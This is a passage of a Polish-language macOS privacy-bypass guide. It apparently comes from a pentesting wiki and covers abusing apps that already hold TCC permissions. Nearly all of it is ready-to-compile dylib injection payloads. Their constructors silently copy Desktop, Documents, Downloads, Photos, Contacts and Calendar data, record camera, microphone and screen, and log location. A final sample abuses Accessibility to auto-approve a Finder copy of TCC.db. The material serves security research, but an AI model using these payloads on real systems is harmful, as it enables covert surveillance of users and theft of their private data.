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Desktop

  • Uprawnienia: Brak

  • TCC: kTCCServiceSystemPolicyDesktopFolder

Skopiuj $HOME/Desktop do /tmp/desktop.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Dokumenty

  • Uprawnienie: Brak

  • TCC: kTCCServiceSystemPolicyDocumentsFolder

Skopiuj $HOME/Documents do /tmp/documents.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
NSString *tmpPhotosPath = @"/tmp/documents";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Pobrania

  • Uprawnienie: Brak

  • TCC: kTCCServiceSystemPolicyDownloadsFolder

Skopiuj $HOME/Downloads do /tmp/downloads.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
NSString *tmpPhotosPath = @"/tmp/downloads";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Biblioteka zdjęć

  • Uprawnienie: com.apple.security.personal-information.photos-library

  • TCC: kTCCServicePhotos

Skopiuj $HOME/Pictures/Photos Library.photoslibrary do /tmp/photos.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
NSString *tmpPhotosPath = @"/tmp/photos";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kontakty

  • Uprawnienie: com.apple.security.personal-information.addressbook

  • TCC: kTCCServiceAddressBook

Skopiuj $HOME/Library/Application Support/AddressBook do /tmp/contacts.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kalendarz

  • Uprawnienie: com.apple.security.personal-information.calendars

  • TCC: kTCCServiceCalendar

Skopiuj $HOME/Library/Calendars do /tmp/calendars.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kamera

  • Uprawnienie: com.apple.security.device.camera

  • TCC: kTCCServiceCamera

Nagraj 3-sekundowe wideo i zapisz je w /tmp/recording.mov

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = @"/tmp/recording.mov";
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
fclose(stderr); // Close the file stream
}

Mikrofon

  • Uprawnienie: com.apple.security.device.audio-input

  • TCC: kTCCServiceMicrophone

Nagrywaj 5s dźwięku i zapisz go w /tmp/recording.m4a

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}

- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}

if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}

self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}

- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}

- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];

[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}

Lokalizacja

Aby aplikacja mogła uzyskać dostęp do lokalizacji, Usługi lokalizacji (z Prywatności i bezpieczeństwa) muszą być włączone, w przeciwnym razie nie będzie mogła uzyskać do nich dostępu.

  • Uprawnienie: com.apple.security.personal-information.location

  • TCC: Przyznane w /var/db/locationd/clients.plist

Zapisz lokalizację w /tmp/logs.txt

#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;

[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];

NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Nagrywanie ekranu

  • Uprawnienie: Brak

  • TCC: kTCCServiceScreenCapture

Nagraj główny ekran przez 5s w /tmp/screen.mov

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m

@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end

@implementation MyRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording error: %@", error);
} else {
NSLog(@"Recording finished successfully.");
}
exit(0);
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
if ([captureSession canAddInput:screenInput]) {
[captureSession addInput:screenInput];
}

AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([captureSession canAddOutput:fileOutput]) {
[captureSession addOutput:fileOutput];
}

[captureSession startRunning];

MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];

// Run the loop for 5 seconds to capture
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
[fileOutput stopRecording];
});

CFRunLoopRun();
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Dostępność

  • Uprawnienie: Brak

  • TCC: kTCCServiceAccessibility

Użyj uprawnienia TCC, aby zaakceptować kontrolę nad Finderem, naciskając enter, i w ten sposób obejść TCC

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>

// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears

void SimulateKeyPress(CGKeyCode keyCode) {
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
CGEventPost(kCGHIDEventTap, keyDownEvent);
CGEventPost(kCGHIDEventTap, keyUpEvent);
if (keyDownEvent) CFRelease(keyDownEvent);
if (keyUpEvent) CFRelease(keyUpEvent);
}

void RunAppleScript() {
NSLog(@"Starting AppleScript");
NSString *scriptSource = @"tell application \"Finder\"\n"
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
"set targetFolder to POSIX file \"/tmp\" as alias\n"
"duplicate file sourceFile to targetFolder with replacing\n"
"end tell\n";

NSDictionary *errorDict = nil;
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
[appleScript executeAndReturnError:&errorDict];

if (errorDict) {
NSLog(@"AppleScript Error: %@", errorDict);
}
}

int main() {
@autoreleasepool {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
RunAppleScript();
});

// Simulate pressing the Enter key every 0.1 seconds
NSLog(@"Starting key presses");
for (int i = 0; i < 10; ++i) {
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
usleep(100000); // 0.1 seconds
}
}
return 0;
}

Dostępność to bardzo potężne uprawnienie, można je nadużyć na inne sposoby, na przykład można przeprowadzić atak na naciśnięcia klawiszy tylko z tego, bez potrzeby wywoływania System Events.

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